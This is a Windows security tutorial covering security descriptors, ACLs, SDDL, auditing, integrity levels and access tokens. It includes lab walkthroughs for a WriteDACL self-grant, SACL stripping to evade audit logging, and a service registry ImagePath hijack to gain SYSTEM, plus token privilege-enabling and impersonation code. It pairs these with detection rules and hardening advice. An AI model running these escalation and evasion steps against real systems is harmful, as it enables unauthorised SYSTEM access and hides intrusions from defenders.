The common ACE types:

Type ConstantValueUse
ACCESS_ALLOWED_ACE_TYPE0x00Grants rights (DACL)
ACCESS_DENIED_ACE_TYPE0x01Denies rights (DACL)
SYSTEM_AUDIT_ACE_TYPE0x02Audit log on access (SACL)
ACCESS_ALLOWED_OBJECT_ACE_TYPE0x05AD object-specific allow (needs ACL_REVISION_DS)
ACCESS_DENIED_OBJECT_ACE_TYPE0x06AD object-specific deny
SYSTEM_AUDIT_OBJECT_ACE_TYPE0x07AD object-specific audit (SACL)
SYSTEM_MANDATORY_LABEL_ACE_TYPE0x11Integrity level label (SACL – see §8)

The two ACEs you’ll touch most often share an identical layout:

typedef struct _ACCESS_ALLOWED_ACE {
    ACE_HEADER  Header;
    ACCESS_MASK Mask;       // 32-bit rights bitmask
    DWORD       SidStart;   // first DWORD of the variable-length SID
} ACCESS_ALLOWED_ACE;

Common AceFlags:

FlagValueMeaning
OBJECT_INHERIT_ACE0x01Non-container child objects inherit
CONTAINER_INHERIT_ACE0x02Container child objects inherit
INHERIT_ONLY_ACE0x08ACE doesn’t apply here, only to children
INHERITED_ACE0x10ACE was inherited from a parent
SUCCESSFUL_ACCESS_ACE_FLAG0x40(SACL) audit successful accesses
FAILED_ACCESS_ACE_FLAG0x80(SACL) audit failures

NULL ACL vs. Empty ACL

This trips people up every week. They are not the same thing.

  • NULL DACL – the SE_DACL_PRESENT flag is set but the descriptor has no DACL data attached. The SRM reads “no security defined” and grants everyone full access. This is the configuration that ends up in OSCP write-ups under “misconfigured share.”
  • Empty DACLSE_DACL_PRESENT is set, a valid ACL header exists, and AceCount == 0. There are no allow ACEs, so the SRM hits implicit-deny at the end of the walk. Nobody (except the owner exercising WRITE_DAC/READ_CONTROL via ownership) gets in.

In SDDL the NULL DACL is written D:NO_ACCESS_CONTROL. If your environment scan flags that string, treat it like a fire.


Hierarchy diagram showing a SECURITY_DESCRIPTOR at the root branching to Owner SID, Group SID, DACL, and SACL, with the DACL containing Allow and Deny ACEs and the SACL containing an Audit ACE
A self-relative SECURITY_DESCRIPTOR is one contiguous block – the four offset fields point inward to the [owner SID](https://genxcyber.com/windows-sids-security-descriptors-access-control/), group SID, DACL, and SACL packed sequentially behind the header.

4. The Access Check Algorithm

When SeAccessCheck is called with a token and a desired access mask, it works through roughly these stages. The bit you should commit to memory is the DACL walk.

  1. Owner short-circuit. If the requestor is the object’s owner, they implicitly get READ_CONTROL and WRITE_DAC – they can always read and rewrite the DACL.
  2. Mandatory Integrity Check. Before the DACL is touched, the token’s integrity level is compared against the object’s SYSTEM_MANDATORY_LABEL_ACE and its policy bits (NO_WRITE_UP, NO_READ_UP, NO_EXECUTE_UP). A Medium-IL process trying to write to a High-IL object fails here, regardless of what the DACL says.
  3. DACL present check. If SE_DACL_PRESENT is clear, or the DACL pointer is NULL → grant everything (the NULL DACL behaviour).
  4. ACE walk, top to bottom. For each ACE in order:
    – If the ACE’s SID isn’t in the token’s enabled SIDs, skip.
    Deny ACE that covers any still-requested bit → access denied, stop.
    Allow ACE → flip on the granted bits. When all requested bits are granted, stop with success.
  5. End of list. If any requested bit is still ungranted → access denied (implicit deny).

This is why ACE ordering matters and why Windows tools build DACLs in canonical order: explicit Deny, explicit Allow, inherited Deny, inherited Allow. A non-canonical DACL – one with an Allow before a Deny that should apply – silently lets through accesses the admin thought were blocked. The first time this caught me I had spent the better part of an afternoon convinced an account had been given access by some hidden group; it had been given access by the ACE order.

For SACL evaluation the algorithm is similar but instead of granting rights it emits Event 4663 / 4656 records into the Security Event Log, gated by SUCCESSFUL_ACCESS_ACE_FLAG / FAILED_ACCESS_ACE_FLAG.


Flowchart showing the SeAccessCheck decision sequence: owner short-circuit, mandatory integrity check, NULL DACL branch, then top-to-bottom ACE walk ending in grant or deny
SeAccessCheck evaluates owner status, [integrity level](https://genxcyber.com/windows-access-tokens-privileges-security-context/), and each DACL ACE in order – the first matching Deny or an exhausted list both produce an access denied.

5. SDDL – Security Descriptors as Strings

Anywhere you can paste a security descriptor into a text field – GPO, sc.exe sdset, the registry’s ChannelAccess value, nTSecurityDescriptor – it’s SDDL. The grammar:

O:<owner_sid> G:<group_sid> D:<dacl_flags>(<ace>)(<ace>)... S:<sacl_flags>(<ace>)...

An ACE has six semicolon-separated fields: type;flags;rights;object_guid;inherit_object_guid;trustee_sid.

Short-form aliases keep SDDL readable:

AliasMeaning
BABuilt-in Administrators
SYLOCAL SYSTEM
AUAuthenticated Users
WDEveryone (World)
IUInteractive Users
BUBuilt-in Users
LS / NSLocalService / NetworkService
AAccess Allowed ACE type
DAccess Denied ACE type
OA/ODObject Allow / Object Deny (AD)
AU (rights ctx)Audit ACE
GA / GR / GW / GXGeneric All / Read / Write / Execute
RCREAD_CONTROL
WD (rights ctx)WRITE_DAC (don’t confuse with the SID alias)
WOWRITE_OWNER
CC/DC/LC/SW/RP/WPAD-specific: create child, delete child, list, self write, read prop, write prop

So O:BAG:SYD:(A;;GA;;;BA)(A;;GR;;;AU) means owner = Administrators, group = SYSTEM, DACL grants Administrators GenericAll and Authenticated Users GenericRead. You will see this format constantly when you start touching service descriptors with sc sdshow.


6. Reading and Writing Security Descriptors in Code

The Win32 API exposes two layers: high-level (GetNamedSecurityInfo / SetNamedSecurityInfo) and low-level (InitializeAcl, AddAccessAllowedAce, etc.). The high-level functions are what you reach for 90% of the time.

APIPurpose
GetNamedSecurityInfoFetch SD by name (file path, registry path, service name)
GetSecurityInfoFetch SD by an open HANDLE
SetNamedSecurityInfo / SetSecurityInfoApply an SD
GetSecurityDescriptorDacl / SaclPull DACL/SACL pointer out of an SD
InitializeAcl / AddAccessAllowedAce / AddAccessDeniedAce / AddAuditAccessAceBuild ACLs from scratch
ConvertStringSecurityDescriptorToSecurityDescriptorSDDL → binary SD
ConvertSecurityDescriptorToStringSecurityDescriptorBinary SD → SDDL
AccessCheckUser-mode wrapper for SeAccessCheck
NtQuerySecurityObject / NtSetSecurityObjectNative syscalls behind the curtain

Reading a DACL in C

This walks the DACL of C:\LabFiles\secret.txt and prints every ACE with its trustee SID and rights mask. Compile with cl /W3 dump_dacl.c advapi32.lib.

#include <windows.h>
#include <aclapi.h>
#include <sddl.h>
#include <stdio.h>

int main(void) {
    PSECURITY_DESCRIPTOR pSD = NULL;
    PACL pDacl = NULL;
    DWORD r = GetNamedSecurityInfoA(
        "C:\\LabFiles\\secret.txt",
        SE_FILE_OBJECT,
        DACL_SECURITY_INFORMATION,
        NULL, NULL, &pDacl, NULL, &pSD);
    if (r != ERROR_SUCCESS) { printf("GetNamedSecurityInfo failed: %lu\n", r); return 1; }

    ACL_SIZE_INFORMATION info = {0};
    GetAclInformation(pDacl, &info, sizeof(info), AclSizeInformation);
    printf("DACL has %lu ACEs\n", info.AceCount);

    for (DWORD i = 0; i < info.AceCount; i++) {
        PVOID pAce = NULL;
        if (!GetAce(pDacl, i, &pAce)) continue;
        ACE_HEADER* hdr = (ACE_HEADER*)pAce;

        if (hdr->AceType == ACCESS_ALLOWED_ACE_TYPE ||
            hdr->AceType == ACCESS_DENIED_ACE_TYPE) {
            ACCESS_ALLOWED_ACE* a = (ACCESS_ALLOWED_ACE*)pAce;
            LPSTR sidStr = NULL;
            ConvertSidToStringSidA((PSID)&a->SidStart, &sidStr);
            printf("[%lu] %s Mask=0x%08lX Flags=0x%02X Sid=%s\n",
                   i,
                   hdr->AceType == ACCESS_ALLOWED_ACE_TYPE ? "ALLOW" : "DENY ",
                   a->Mask, hdr->AceFlags, sidStr);
            LocalFree(sidStr);
        } else {
            printf("[%lu] AceType=0x%02X (non-basic, skipped)\n", i, hdr->AceType);
        }
    }
    LocalFree(pSD);
    return 0;
}

Building and applying a DACL – the NULL trap, then the fix

// Intentionally create a NULL DACL — "everyone can do anything" on the file.
SECURITY_DESCRIPTOR sd;
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);  // <-- NULL DACL
SetFileSecurityA("C:\\LabFiles\\secret.txt", DACL_SECURITY_INFORMATION, &sd);
// Anyone on the box can now read/write/delete the file.

Replace it with an explicit, restrictive DACL: Authenticated Users denied, Administrators allowed.

// SDDL shortcut — denies AU, grants BA GenericAll.
PSECURITY_DESCRIPTOR pSD = NULL;
ConvertStringSecurityDescriptorToSecurityDescriptorA(
    "D:(D;;GA;;;AU)(A;;GA;;;BA)",
    SDDL_REVISION_1, &pSD, NULL);

PACL pDacl = NULL; BOOL present = FALSE, defaulted = FALSE;
GetSecurityDescriptorDacl(pSD, &present, &pDacl, &defaulted);

SetNamedSecurityInfoA(
    "C:\\LabFiles\\secret.txt",
    SE_FILE_OBJECT,
    DACL_SECURITY_INFORMATION,
    NULL, NULL, pDacl, NULL);
LocalFree(pSD);

PowerShell equivalents

# Read
$acl = Get-Acl "C:\LabFiles\secret.txt"
$acl.Access | Format-Table IdentityReference, FileSystemRights, AccessControlType
$acl.Sddl    # serialised form

# Add an allow ACE for a low-priv user
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "LAB\lowpriv", "Read", "Allow")
$acl.AddAccessRule($rule)
Set-Acl "C:\LabFiles\secret.txt" $acl

Get-Acl returns a System.Security.AccessControl.FileSecurity, which wraps the same on-disk security descriptor – every property maps back to the structures in §2 and §3.


7. SACL and Object Auditing

A SACL is just an ACL whose ACEs are SYSTEM_AUDIT_ACE entries with SUCCESSFUL_ACCESS_ACE_FLAG and/or FAILED_ACCESS_ACE_FLAG set. When the SRM walks the DACL it then walks the SACL; matching audit ACEs fire Security Event Log records (4656 on open, 4663 on the actual access).

Auditing on Windows is a two-step configuration, which is why many shops think they have auditing but don’t:

  1. The object must have a SACL with audit ACEs attached.
  2. The matching subcategory under Advanced Audit Policy Configuration → Object Access must be enabled.

Either step alone produces nothing. Check both with:

auditpol /get /category:"Object Access"
(Get-Acl -Audit "C:\LabFiles\secret.txt").Audit

Modifying a SACL requires SeSecurityPrivilege, which is held by Administrators and almost nothing else. Treat it as a tier-0 privilege – once an attacker has it, they can rewrite or remove SACLs to blind your file-access detections (see §10).


8. Mandatory Integrity Control

Layered on top of the DACL is MIC. Every token carries an integrity level SID; every object can carry one too, via a SYSTEM_MANDATORY_LABEL_ACE (0x11) in its SACL (not DACL – first time I tried to add one with AddAccessAllowedAce I spent twenty minutes wondering why nothing changed). The IL SIDs:

SIDLevel
S-1-16-4096Low
S-1-16-8192Medium
S-1-16-12288High (elevated admin)
S-1-16-16384System

The ACE’s Mask carries policy bits – SYSTEM_MANDATORY_LABEL_NO_WRITE_UP, _NO_READ_UP, _NO_EXECUTE_UP – that control what a lower-IL token can do to a higher-IL object. This is the layer that keeps a Low-IL sandbox (browser renderer, LSA-isolated worker) from poking your Medium-IL files even if the DACL is permissive. It’s also why UAC elevation matters: an unelevated admin runs at Medium IL and is blocked from High-IL objects regardless of group membership.


Illustration of four stacked integrity levels as luminous platform tiers with invisible barriers preventing lower-level tokens from reaching upward to higher tiers
Mandatory Integrity Control enforces a strict layered hierarchy – a Medium-IL token is repelled from High-IL objects regardless of what the DACL permits.

9. Lab: WriteDACL Escalation and Audit Suppression

Setup: Windows 10/11 lab VM, fully owned. Create a low-privilege local account lowpriv. Place C:\LabFiles\secret.txt. Apply this initial DACL – lowpriv gets WriteDAC but no Read:

icacls C:\LabFiles\secret.txt /inheritance:r
icacls C:\LabFiles\secret.txt /grant:r "SYSTEM:(F)" "Administrators:(F)"
icacls C:\LabFiles\secret.txt /grant:r "lowpriv:(WDAC)"
# Add a SACL: audit successful reads/writes by anyone
$acl = Get-Acl -Audit C:\LabFiles\secret.txt
$audit = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone","ReadData,WriteData","Success")
$acl.AddAuditRule($audit)
Set-Acl C:\LabFiles\secret.txt $acl

Now log in as lowpriv and exploit the misconfiguration:

# 1. Recon
icacls C:\LabFiles\secret.txt
# lowpriv: WDAC — write DAC, no read

# 2. Grant ourselves FullControl by rewriting the DACL
$acl = Get-Acl C:\LabFiles\secret.txt
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "$env:USERNAME","FullControl","Allow")
$acl.AddAccessRule($rule)
Set-Acl C:\LabFiles\secret.txt $acl

# 3. Read
Get-Content C:\LabFiles\secret.txt

Step 2 fires Event 4670 (“permissions on an object were changed”). The Security log captures the old SDDL and new SDDL side-by-side – invaluable in detection, because the diff tells you exactly which ACE got added.

Audit suppression as defense evasion

If the attacker has SeSecurityPrivilege, they can strip the SACL and silence step 3:

$acl = Get-Acl -Audit C:\LabFiles\secret.txt
$acl.SetAuditRuleProtection($true,$false)   # break inheritance, drop inherited
$acl.Audit | ForEach-Object { [void]$acl.RemoveAuditRule($_) }
Set-Acl -Path C:\LabFiles\secret.txt -AclObject $acl

The 4663 events you were relying on stop appearing – but the SACL change itself fires Event 4907 (“auditing settings on an object were changed”), and policy-level audit changes fire Event 4715. If you only alert on 4663s, you never see the access; if you alert on 4907/4715 you catch the attacker trying to go dark. That asymmetry is the entire detection model – see §12.


10. Lab: Registry Service ACL Abuse (T1574.011)

This is the classic. A service whose registry key allows non-admins KEY_SET_VALUE is a one-step path to SYSTEM.

# Stage: create a deliberately weak service for the lab
sc.exe create LabSvc binPath= "C:\Windows\System32\notepad.exe" start= auto
# Open the registry key DACL and grant Authenticated Users SetValue:
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc"
$acl = Get-Acl $key
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
    "Authenticated Users","SetValue","Allow")
$acl.AddAccessRule($rule); Set-Acl $key $acl

As lowpriv:

# 1. Recon — accesschk from Sysinternals is the cleanest
accesschk.exe -kwsuv "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services\LabSvc

# 2. Confirm current ImagePath
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc" -Name ImagePath

# 3. Hijack
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\LabSvc" `
    -Name ImagePath -Value "C:\LabFiles\payload.exe"

# 4. Trigger — restart the service (or wait for reboot)
sc.exe start LabSvc
# payload.exe runs as LOCAL SYSTEM

Where payload.exe is a lab-only program that drops whoami /priv > C:\out.txt. This maps directly to ATT&CK T1574.011 – Hijack Execution Flow: Services Registry Permissions Weakness.

Detection: Event 4657 (registry value modified) on the service key, and Sysmon Event ID 13 (RegistryEvent: Value Set) – Sysmon is the more reliable of the two because the Security log requires a SACL on the key, which is rarely configured by default.


11. Common Attacker Techniques

TechniqueDescription
NULL DACL plantingReplace a sensitive object’s DACL with NULL so anyone can touch it (D:NO_ACCESS_CONTROL)
WriteDACL → self-grantUse a delegated WRITE_DAC right to add an Allow ACE for yourself (files, registry, services, AD objects)
WriteOwner abuseTake ownership of an object; owner can always rewrite the DACL
Service registry hijackRewrite ImagePath on a service whose key allows KEY_SET_VALUE to non-admins (T1574.011)
SACL strippingRemove audit ACEs to blind file/registry-access detections (requires SeSecurityPrivilege)
ChannelAccess rewriteModify HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\*\ChannelAccess SDDL to deny non-admin readers or block writes to a log
AD WriteDACL on user/groupGrant yourself Reset Password or Replicating Directory Changes by editing nTSecurityDescriptor (BloodHound’s bread and butter)
EDR DACL rewriteWith SeSecurityPrivilege + WRITE_DAC over an EDR service, deny SYSTEM the stop right – service becomes unkillable, but so is the attacker’s process if they pivoted through it
Non-canonical ACE orderingInject an Allow before a Deny that should apply, exploiting top-down access check ordering

12. Detection and Defense

Windows Security Event IDs

Event IDDescriptionTrigger
4656Handle to an object was requestedObject open attempt (requires SACL + Object Access policy)
4663Attempt was made to access an objectThe actual read/write/delete (SACL-driven)
4657A registry value was modifiedRegistry value write (SACL on key)
4670Permissions on an object were changedDACL change – includes old and new SDDL
4703A token right was adjustedSeSecurityPrivilege enable – pre-cursor to SACL tampering
4715The audit policy (SACL) on an object was changedAlways logged; key indicator of audit suppression
4907Auditing settings on an object were changedSACL change on a file/registry object
5136A directory service object was modifiedAD nTSecurityDescriptor changes (on DCs)

Sysmon

Sysmon Event IDDescriptionRelevance
12RegistryEvent (object create/delete)Service key create/delete
13RegistryEvent (value set)Hijacked ImagePath, ChannelAccess, etc.
14RegistryEvent (key/value rename)Service or channel key rename

Sysmon does not directly log DACL changes – pair it with Security 4670 / 4907.

Sigma – DACL change on a sensitive file

title: DACL Modified on Sensitive Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4670
    ObjectType:
      - 'File'
      - 'Key'
  sensitive_path:
    ObjectName|contains:
      - '\LabFiles\'
      - '\CurrentControlSet\Services\'
      - '\WINEVT\Channels\'
  filter_legitimate:
    SubjectUserName|endswith: '$'
  condition: selection and sensitive_path and not filter_legitimate
fields:
  - SubjectUserName
  - ObjectName
  - OldSd
  - NewSd
level: high

The OldSd / NewSd fields are the secret weapon – diff them and you see the exact ACE the attacker added.

Hardening

  1. Scan for D:NO_ACCESS_CONTROL across files, registry, and AD. Anything flagged is a vulnerability ticket.
  2. Tightly hold SeSecurityPrivilege. Strip it from your standard admin tier; give it only to a small set of audit-only accounts.
  3. Protect Event Log ChannelAccess values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\<channel>\ – apply a SACL on the key and alert on Event 4657 against it.
  4. Run security services as PPL where supported, so even SYSTEM-with-WRITE_DAC can’t rewrite their DACL.
  5. Enable Global Object Access Auditing for File System and Registry. It pushes a system-wide SACL onto every object of that type, so a per-object SACL-strip no longer blinds you.
  6. Verify DACL canonicalisation. Tools like icacls /verify and PowerShell’s [System.Security.AccessControl.RawAcl] parsing will flag out-of-order ACEs.

MITRE ATT&CK

TechniqueIDDetection
File and Directory Permissions ModificationT12224670 + Sigma on OldSd/NewSd diff
Windows File/Directory Permissions ModificationT1222.001icacls, cacls, takeown, Set-Acl command-line auditing + 4670
Services Registry Permissions WeaknessT1574.0114657 + Sysmon 13 on Services\*\ImagePath
Impair Defenses: Disable Windows Event LoggingT1562.0024715, 4907, ChannelAccess modification on WINEVT keys
Access Token ManipulationT11344703 – SeSecurityPrivilege enable as precursor

Illustration of a dark security operations centre with a timeline of events where DACL change, SACL strip, and registry modification alerts radiate outward catching a silhouetted attacker
Events 4670, 4907, and 4715 capture the security-structure changes an attacker cannot avoid making – detecting the act of going dark rather than the access itself.

13. Tools for ACL Analysis

ToolUseLink
icacls.exeBuilt-in DACL view/edit for files and folderswindows builtin
sc.exe sdshow / sdsetView/set service security descriptors in SDDLwindows builtin
accesschk.exeSysinternals – enumerate effective rights for a user across files, registry, servicessysinternals.com
Process HackerLive view of any kernel-object SD (process, thread, handle, registry, file)github.com/winsiderss/systeminformer
Get-Acl / Set-AclPowerShell native ACL manipulationwindows builtin
auditpol.exeView/set the Advanced Audit Policy subcategorieswindows builtin
BloodHoundMaps AD WriteDACL/GenericAll/WriteOwner edges to attack pathsbloodhound.specterops.io
PowerView (Get-DomainObjectAcl)Programmatic AD ACL enumerationgithub.com/PowerShellMafia/PowerSploit
WinDbg + !sdDump a raw security descriptor from a memory addresslearn.microsoft.com
SigmaDetection rule format used in the Sysmon/Security log sectiongithub.com/SigmaHQ/sigma

Summary

  • Every Windows access decision is a kernel walk of a structure you can read, write, and weaponise. SeAccessCheck operates on SECURITY_DESCRIPTORACLACE exactly as laid out above.
  • A NULL DACL means everyone, everything. An empty DACL means no one. The difference is one flag and it is the most common ACL misconfiguration in the wild.
  • DACL ACEs are walked top-to-bottom; canonical order (Deny before Allow) is enforced by tools but not by the kernel. Non-canonical DACLs silently grant access the admin didn’t intend.
  • WriteDACL, WriteOwner, and service-registry permissions are the high-yield privilege-escalation primitives – all map to MITRE T1222/T1574.011. Hunt for them with accesschk and BloodHound.
  • SACL stripping is the inverse problem: attackers blind you by removing audit ACEs. The detections you actually need are Events 4670, 4715, and 4907 – they capture the change to security, which the attacker can’t avoid generating.

Related Tutorials

References

Access Tokens and Privileges: The Kernel’s Security Context

Run whoami /priv on an admin shell. You’ll see a column labeled State, and most of the entries – including SeDebugPrivilege and SeImpersonatePrivilege – read Disabled. They aren’t missing. They’re sitting in the token, dormant, waiting for a BOOL flip. That single column is the entire story of most Windows post-exploitation tradecraft in one place: not forging anything, just enabling what was already issued.

Objective: Understand how Windows builds and enforces a per-process security context through the access token, how the Security Reference Monitor uses that token on every object access, and which token operations defenders need to see to catch impersonation, theft, and privilege enablement.


1. Why Tokens Exist

When you authenticate, LSASS (lsass.exe) creates a logon session, derives a primary access token from that session, and hands it to whatever process is being started for you – userinit.exe, then explorer.exe. From that point forward, every kernel object you touch – files, registry keys, named pipes, processes, threads – is evaluated against that token by the Security Reference Monitor (SRM).

The SRM lives in the kernel and does one job: when a thread asks for access to an object, compare the thread’s effective token to the object’s security descriptor and return a yes/no. That comparison happens in SeAccessCheck (kernel) and is surfaced to user mode as AccessCheck. The order matters – Integrity Level check → DACL check → Privilege check.

Without a token, the kernel has no answer to “who is this thread, and what is it allowed to do?” Tokens aren’t a wrapper around credentials. They are the runtime identity.

Flow diagram showing LSASS authentication creating a logon session, deriving a primary token, attaching it to a process, and the Security Reference Monitor performing SeAccessCheck in order: Integrity Level, DACL, Privilege.
From authentication to access decision: the primary token is the runtime identity the SRM consults on every object request.

2. Inside nt!_TOKEN

The kernel object is nt!_TOKEN. It’s undocumented – Microsoft exposes Win32 wrappers, not field layouts – but you can inspect it on your own build:

0: kd> dt nt!_TOKEN

The layout shifts between Windows versions, so never hardcode offsets. The fields that matter conceptually are stable:

FieldPurpose
TokenIdLUID uniquely identifying this token instance
AuthenticationIdLUID of the originating logon session
TokenTypeTokenPrimary (1) or TokenImpersonation (2)
ImpersonationLevelOnly meaningful for impersonation tokens
UserAndGroupsArray of SID_AND_ATTRIBUTES – user SID plus group SIDs
PrivilegesSEP_TOKEN_PRIVILEGES – three 64-bit privilege bitmasks
IntegrityLevelIndexIndex into UserAndGroups pointing at the mandatory label
LogonSessionPointer to SEP_LOGON_SESSION_REFERENCES
DefaultDaclDACL applied to objects this token creates
SessionIdRDP / Terminal Services session ID

The Privileges member is worth dwelling on. SEP_TOKEN_PRIVILEGES carries three 64-bit bitmasks – Present, Enabled, and EnabledByDefault – and that three-state design is the entire reason “privilege escalation” can be a one-API-call affair (covered in §6). This layout is community-observed via WinDbg and ReactOS source; treat it as undocumented and verify on your target build.

Hierarchy diagram of the nt!_TOKEN kernel structure, branching into Identity fields, Type and Impersonation Level, UserAndGroups SID array, SEP_TOKEN_PRIVILEGES with three bitmasks, Integrity Level index, and Logon Session pointer.
The nt!_TOKEN structure: the three-bitmask SEP_TOKEN_PRIVILEGES field (Present, Enabled, EnabledByDefault) is the mechanism behind most privilege-escalation tradecraft.

3. Primary vs. Impersonation Tokens

Every process has exactly one primary token, set at CreateProcess time and fixed for the lifetime of the process. You don’t swap it. To run code under a different identity, you start a new process with a different token (CreateProcessAsUser, CreateProcessWithTokenW).

Threads are different. A thread can carry an impersonation token that temporarily overrides the process’s primary token for that thread only. This is how RPC servers, named-pipe servers, and IIS worker threads handle requests on behalf of multiple callers without spawning a process each time. The kernel keeps it in _KTHREAD.ImpersonationInfo; SeAccessCheck prefers the thread token over the process token if one is present.

The distinction matters at detection time too. OpenProcessToken returns the primary token; OpenThreadToken returns the impersonation token, if any. A thread calling OpenThreadToken and getting ERROR_NO_TOKEN is normal – most threads aren’t impersonating. A thread calling it and getting SYSTEM is not.

Graph diagram contrasting a process primary token stored in _EPROCESS with a per-thread impersonation token stored in _KTHREAD.ImpersonationInfo, showing the SRM preferring the thread token when present.
The SRM always prefers a thread’s impersonation token over the process primary token, making per-thread identity the key primitive for RPC and pipe servers.

4. Integrity Levels and Mandatory Integrity Control

Mandatory Integrity Control (MIC) added a sideband label to the token and a corresponding mandatory label ACE in object SACLs. Five well-known integrity SIDs cover the practical range:

SIDLevelTypical Use
S-1-16-0UntrustedHeavily sandboxed code
S-1-16-4096LowBrowser renderers, AppContainer
S-1-16-8192MediumDefault for interactive user processes
S-1-16-12288HighElevated (post-UAC) admin processes
S-1-16-16384SystemSYSTEM-account services and kernel components

The label sits in UserAndGroups at index IntegrityLevelIndex, retrievable from user mode via GetTokenInformation(..., TokenIntegrityLevel, ...) into a TOKEN_MANDATORY_LABEL. MIC’s enforcement rule is simple: a process at a lower integrity level cannot write to or modify a higher-integrity object belonging to the same user – no DLL injection, no token impersonation up the chain. That single rule is what stops a Medium-IL Word process from injecting into a High-IL elevated PowerShell.

5. Reading a Token from User Mode

The minimum useful query: open the token, ask for the user SID, print it.

HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
    return GetLastError();
}

DWORD cbUser = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &cbUser);
PTOKEN_USER pUser = (PTOKEN_USER)LocalAlloc(LPTR, cbUser);

if (GetTokenInformation(hToken, TokenUser, pUser, cbUser, &cbUser)) {
    LPWSTR sidStr = NULL;
    ConvertSidToStringSidW(pUser->User.Sid, &sidStr);
    wprintf(L"User SID: %s\n", sidStr);
    LocalFree(sidStr);
}

LocalFree(pUser);
CloseHandle(hToken);

The same GetTokenInformation call with TokenGroups returns a TOKEN_GROUPS you can walk to see which groups are SE_GROUP_ENABLED, SE_GROUP_MANDATORY, or SE_GROUP_INTEGRITY (that last flag is how you find the IL label without parsing the index). TokenPrivileges returns a TOKEN_PRIVILEGES and feeds the next section.

For integrity level specifically:

DWORD cb = 0;
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cb);
PTOKEN_MANDATORY_LABEL pLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, cb);
GetTokenInformation(hToken, TokenIntegrityLevel, pLabel, cb, &cb);

DWORD rid = *GetSidSubAuthority(
    pLabel->Label.Sid,
    (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pLabel->Label.Sid) - 1));

// rid == 0x2000 (8192)  -> Medium
// rid == 0x3000 (12288) -> High
// rid == 0x4000 (16384) -> System

6. Privileges: Present, Enabled, Removed

A privilege has three independent states inside the token:

  • Present – the privilege exists in the token. Cannot be added at runtime by user mode.
  • Enabled – the privilege is currently active for access checks.
  • Removed – once a privilege is removed via SE_PRIVILEGE_REMOVED, it’s gone for the life of the token.

AdjustTokenPrivileges only moves a privilege between “present and disabled” and “present and enabled.” It cannot grant a privilege the token never had. So when a tool “enables SeDebugPrivilege,” it isn’t gaining authority – that authority was issued at logon and waiting in the Present bitmask. The enable is purely a flag flip.

HANDLE hToken;
LUID  luid;
TOKEN_PRIVILEGES tp = {0};

OpenProcessToken(GetCurrentProcess(),
                 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
                 &hToken);

LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &luid);

tp.PrivilegeCount           = 1;
tp.Privileges[0].Luid       = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
    // Privilege wasn't Present in the token -> not actually enabled.
}

That ERROR_NOT_ALL_ASSIGNED check is the gotcha most first-timers miss: AdjustTokenPrivileges returns TRUE even when the privilege isn’t in Present. The real outcome is only visible through GetLastError. I’ve burned a solid afternoon staring at a “successful” call that did nothing because the calling process was unelevated and SeDebugPrivilege was never issued in the first place.

The privileges worth keeping at the top of a defender’s list:

PrivilegeWhy It Matters
SeDebugPrivilegeOpen any process, including LSASS, for read/write
SeImpersonatePrivilegePrecondition for the Potato family of escalations
SeAssignPrimaryTokenPrivilegeReplace a process’s primary token
SeTcbPrivilege“Act as part of the OS” – essentially unrestricted
SeLoadDriverPrivilegeLoad arbitrary kernel drivers → BYOVD
SeBackupPrivilege / SeRestorePrivilegeRead/write any file regardless of DACL
SeTakeOwnershipPrivilegeSeize ownership of any object
SeCreateTokenPrivilegeForge tokens directly – held only by SYSTEM

7. Impersonation in Depth

SECURITY_IMPERSONATION_LEVEL defines how far the impersonating thread can act on behalf of the original principal:

LevelMeaning
SecurityAnonymousServer cannot identify or impersonate the client
SecurityIdentificationServer can identify but not act as the client
SecurityImpersonationServer can act as the client on the local machine
SecurityDelegationServer can act as the client on local and remote systems

The canonical sequence for a service impersonating a caller:

HANDLE hClient;
DuplicateTokenEx(hSourceToken,
                 TOKEN_ALL_ACCESS,
                 NULL,
                 SecurityImpersonation,
                 TokenImpersonation,
                 &hClient);

SetThreadToken(NULL, hClient);   // current thread now runs as the client
// ... perform the work that requires the client's identity ...
RevertToSelf();                  // back to the process's primary token
CloseHandle(hClient);

SECURITY_QUALITY_OF_SERVICE controls whether impersonation tracks the source statically or dynamically, and whether only the enabled privileges follow (EffectiveOnly). That last flag is one of the more interesting defensive levers – a service calling impersonation with EffectiveOnly = TRUE strips dormant privileges out of the impersonation context entirely.

8. Duplication, LogonUser, and Process Creation Under a Token

Three primitives cover most of the “run something as someone else” surface:

  • DuplicateTokenEx – clone an existing token, optionally upgrading from impersonation to primary type. Requires TOKEN_DUPLICATE on the source.
  • LogonUser – authenticate a username/password and receive a fresh primary token tied to a new logon session.
  • CreateProcessWithTokenW – start a new process whose primary token is the one you pass in. Requires SeImpersonatePrivilege on the caller.

The MITRE taxonomy splits the abuse cleanly along these primitives:

  • T1134.001 – Token Impersonation/Theft. OpenProcessToken against a higher-privileged process, DuplicateTokenEx, then ImpersonateLoggedOnUser or SetThreadToken. No credentials needed; you steal what’s already running.
  • T1134.002 – Create Process with Token. Same theft, but you go straight to CreateProcessWithTokenW to start a new process under the stolen identity rather than impersonating on a thread.
